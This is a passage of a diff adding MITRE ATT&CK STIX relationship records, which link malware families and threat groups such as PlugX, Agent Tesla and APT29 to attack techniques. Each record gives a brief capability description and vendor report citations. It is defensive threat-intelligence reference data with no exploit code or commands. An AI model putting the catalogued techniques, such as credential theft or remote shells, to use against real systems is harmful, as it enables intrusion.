"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--749b0a26-fbf8-4858-a545-5faca77adead", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e494ad79-37ee-4cd0-866b-299c521d8b94", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) checks for the existence of a Registry key and if it contains certain values.", + "type": "relationship", + "created": "2019-01-29T17:59:44.411Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d18d7fab-1f10-4b83-83e1-a288ec4db2bd", + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "modified": "2019-04-16T20:55:20.240Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module for enumerating TCP and UDP network connections and associated processes using the netstat command.", + "type": "relationship", + "created": "2019-01-29T18:17:59.264Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8b020cdd-4731-4dd5-8407-7f3076ab1d2d", + "external_references": [ + { + "source_name": "CIRCL PlugX March 2013", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "modified": "2019-04-19T15:08:16.054Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can access the victim\u2019s webcam and record video.", + "type": "relationship", + "created": "2019-01-29T18:44:05.140Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--49efe6c7-aec6-4e54-bc7d-212816e23347", + "external_references": [ + { + "source_name": "DigiTrust Agent Tesla Jan 2017", + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + }, + { + "source_name": "Talos Agent Tesla Oct 2018", + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + } + ], + "modified": "2019-04-16T14:30:35.436Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) can upload and download files to the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T19:09:26.747Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ebf44df8-d7c7-4c95-87f0-e31f88b83c72", + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "modified": "2019-04-19T15:10:04.423Z", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbon](https://attack.mitre.org/software/S0335) uses HTTP to send data to the C2 server.", + "type": "relationship", + "created": "2019-01-29T19:36:02.755Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8f104e2e-4816-4551-b4a6-9f0ed1e01218", + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "modified": "2019-04-12T14:43:22.720Z", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) uses the nbtstat -n and nbtstat -s commands on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T19:55:48.186Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ce560fcf-cd2d-45c6-9331-f5f0594e5bf5", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "modified": "2019-07-26T16:10:43.197Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) delivered malicious documents with the XLSX extension, typically used by OpenXML documents, but the file itself was actually an OLE (XLS) document.", + "type": "relationship", + "created": "2019-01-29T20:17:49.304Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--56a866fd-1a37-4750-89e6-2e26ed69cb27", + "external_references": [ + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + } + ], + "modified": "2019-06-30T22:44:28.309Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "relationship_type": "uses", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) can download and execute or update malware.", + "type": "relationship", + "created": "2019-01-29T21:33:34.617Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--91eab726-0a0c-4898-8376-66987fd1037c", + "external_references": [ + { + "source_name": "Unit 42 BadPatch Oct 2017", + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "modified": "2019-04-23T21:17:49.968Z", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) creates a command-line shell using cmd.exe.", + "type": "relationship", + "created": "2019-01-29T21:47:53.669Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4261a057-4985-4180-8871-59c5b76e8a20", + "external_references": [ + { + "source_name": "Radware Micropsia July 2018", + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "modified": "2019-04-17T22:05:05.949Z", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Octopus](https://attack.mitre.org/software/S0340) collects the username from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T13:24:09.083Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--348f9f2e-c959-4485-9a0b-e95f6d4ceb72", + "external_references": [ + { + "source_name": "Securelist Octopus Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + } + ], + "modified": "2019-01-30T13:24:09.083Z", + "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) encrypts its configuration files with AES-256 and also encrypts its strings.", + "type": "relationship", + "created": "2019-01-30T13:53:14.923Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fba908dc-4478-4626-ab73-72c43eca5279", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-04-17T22:22:22.064Z", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) drops a Windows shortcut file for execution.", + "type": "relationship", + "created": "2019-01-30T14:19:17.701Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8e5d4994-50a5-4a52-9d5b-30a33edb42a7", + "external_references": [ + { + "source_name": "FireEye APT29 Nov 2018", + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + } + ], + "modified": "2019-07-25T14:25:53.358Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can collect the time zone information from the system.", + "type": "relationship", + "created": "2019-01-30T15:19:15.000Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9d30b96a-6518-449e-a665-3033dfcb44db", + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + }, + { + "source_name": "Proofpoint Azorult July 2018", + "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside" + } + ], + "modified": "2019-07-26T23:22:28.646Z", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) communicates to the C2 server using a custom protocol.", + "type": "relationship", + "created": "2019-01-30T15:38:21.176Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d98aed26-0aed-42ba-844d-31ca4a763124", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-01-30T15:38:21.176Z", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) can inject code from files to other running processes.", + "type": "relationship", + "created": "2019-01-30T15:47:41.426Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4c654359-aefe-4c86-a092-44e99931d340", + "external_references": [ + { + "source_name": "TrendMicro Lazarus Nov 2018", + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "modified": "2019-01-30T15:47:41.426Z", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LaZagne](https://attack.mitre.org/software/S0349) can obtain credentials from browsers, chats, databases, mail, and WiFi.", + "type": "relationship", + "created": "2019-01-30T16:45:00.072Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b0f355cc-e11f-4027-9db3-59ec64cd367f", + "external_references": [ + { + "source_name": "GitHub LaZagne Dec 2018", + "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.", + "url": "https://github.com/AlessandroZ/LaZagne" + } + ], + "modified": "2019-06-24T16:21:13.987Z", + "source_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", + "relationship_type": "uses", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware to collect the victim\u2019s IP address and domain name.", + "type": "relationship", + "created": "2019-01-30T17:33:41.156Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4ab6ada3-0129-4f34-ba29-b793c6d98fff", + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "modified": "2019-06-28T15:30:59.029Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has copied files to company web servers and subsequently downloaded them.", + "type": "relationship", + "created": "2019-01-30T18:02:59.182Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2cc18ee4-ccde-4b2a-a280-b783e1ede529", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-03-25T14:36:29.964Z", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses the tasklist and wmic process get Capture, ExecutablePath commands to gather the processes running on the system.", + "type": "relationship", + "created": "2019-01-30T18:39:48.467Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1051f320-91fa-4f89-8abe-a851a56e18a7", + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "source_name": "ESET Zebrocy Nov 2018", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + }, + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "modified": "2019-07-17T01:18:32.842Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) uses macros for execution as well as VBS and PowerShell scripts.", + "type": "relationship", + "created": "2019-01-30T19:18:20.194Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--60bab055-6927-4240-8716-6218dc131aa9", + "external_references": [ + { + "source_name": "TrendMicro MacOS April 2018", + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "modified": "2019-01-30T19:18:20.194Z", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Denis](https://attack.mitre.org/software/S0354) can launch a remote shell to execute arbitrary commands on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T20:01:45.520Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--771f612d-ba60-4c3b-a2aa-30ba107ebb50", + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-04-24T20:56:04.784Z", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KONNI](https://attack.mitre.org/software/S0356) can steal profiles (containing credential information) from Firefox, Chrome, and Opera.", + "type": "relationship", + "created": "2019-01-31T00:36:41.180Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4fec4445-7b29-430f-92f0-866f23178777", + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "modified": "2019-07-26T18:47:19.637Z", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T13:11:38.977Z", + "type": "relationship", + "created": "2019-01-31T01:07:58.791Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9c97e0aa-61fd-4f42-881f-763a1b03c16b", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:17:09.484Z", + "type": "relationship", + "id": "relationship--dca2d571-c65c-4efb-b05c-86cee13d545a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-02-01T14:35:39.623Z", + "source_ref": "course-of-action--c61e2da1-f51f-424c-b152-dc930d4f2e70", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ruler](https://attack.mitre.org/software/S0358) can be used to automate the abuse of Outlook Rules, Forms, and Home Pages to establish persistence.", + "type": "relationship", + "created": "2019-02-04T18:27:00.613Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5aafb851-8cc6-4776-84ed-8613d8e02ba7", + "external_references": [ + { + "source_name": "SensePost Ruler GitHub", + "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.", + "url": "https://github.com/sensepost/ruler" + } + ], + "modified": "2019-04-22T19:07:12.587Z", + "source_ref": "tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38", + "relationship_type": "uses", + "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ruler](https://attack.mitre.org/software/S0358) can be used to enumerate Exchange users and dump the GAL.", + "type": "relationship", + "created": "2019-02-04T18:32:07.321Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c7c8b431-77bb-45ac-9826-bd92828c2f85", + "external_references": [ + { + "source_name": "SensePost Ruler GitHub", + "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.", + "url": "https://github.com/sensepost/ruler" + } + ], + "modified": "2019-04-22T19:07:12.604Z", + "source_ref": "tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38", + "relationship_type": "uses", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:05:33.688Z", + "type": "relationship", + "created": "2019-02-05T13:14:45.865Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--33f1d509-3bca-492a-a08b-9e0561433b5f", + "external_references": [ + { + "source_name": "FireEye APT33 Guardrail", + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "relationship_type": "uses", + "target_ref": "tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) gathers credentials using [Moafee](https://attack.mitre.org/groups/G0002) and Procdump.", + "type": "relationship", + "created": "2019-02-05T17:56:55.524Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--94243a11-a479-426c-be01-225edf41803e", + "external_references": [ + { + "source_name": "Netscout Stolen Pencil Dec 2018", + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "modified": "2019-06-24T19:09:46.248Z", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) has a tool to sniff the network for passwords.", + "type": "relationship", + "created": "2019-02-05T17:56:55.550Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--88a31637-0a37-456c-ad6e-c7011a430641", + "external_references": [ + { + "source_name": "Netscout Stolen Pencil Dec 2018", + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "modified": "2019-06-24T19:09:46.245Z", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "relationship_type": "uses", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-24T19:09:46.358Z", + "type": "relationship", + "created": "2019-02-05T17:56:55.600Z", + 